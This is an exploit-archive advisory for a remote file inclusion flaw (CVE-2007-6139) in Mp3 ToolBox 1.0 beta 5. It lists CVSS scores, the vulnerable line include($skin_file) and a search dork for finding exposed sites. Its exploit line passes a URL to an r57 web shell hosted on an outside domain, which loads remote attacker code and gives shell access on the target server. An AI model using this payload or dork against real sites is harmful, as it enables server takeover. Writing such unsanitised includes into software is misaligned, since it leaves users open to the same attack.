Mp3 ToolBox 1.0 beta 5 Remote File Include Vulnerability

2007.11.27
Credit: Crackers_Child
Risk: High
Local: No
Remote: Yes
CVE: CVE-2007-6139
CWE: CWE-94


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

+______________________________________________By Crackers_Child___________________________________________+ * * * [~] Script.......: Mp3 ToolBox 1.0 beta 5 * [~] Download.....: http://www.radiotoolbox.com/downloads/mp3toolbox/mp3_toolbox_beta-5.zip * [~] Author.......: Crackers_Child | cybermilitan (at) hotmail (dot) com [email concealed] & localexploit (at) hotmail (dot) com [email concealed] * [~] Class........: Remote File ?nclude Vulnerability * [~] Dork.........: intitle:Mp3 ToolBox 1.0 +_______________________________________________________________________ ________________________________________________+ +_______________________________________________________________________ ________________________________________________+ * * * * * [~] Exploit Rfi...: http://[Taget]/[Path]/index.php?skin_file=http://sibersavascilar.com/she lz/r57.txt? * * +_______________________________________________________________________ ________________________________________________+ [~] Vulnerable......: include($skin_file); +_______________________________________________________________________ ________________________________________________+ +_______________________________________________________________________ ________________________________________________+ * * * [~] Special Thanx.......: str0ke, BiyoSecurity.Net, SiberSavascilar.com And All F3ckers :) * +_______________________________________________________________________ ________________________________________________+


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top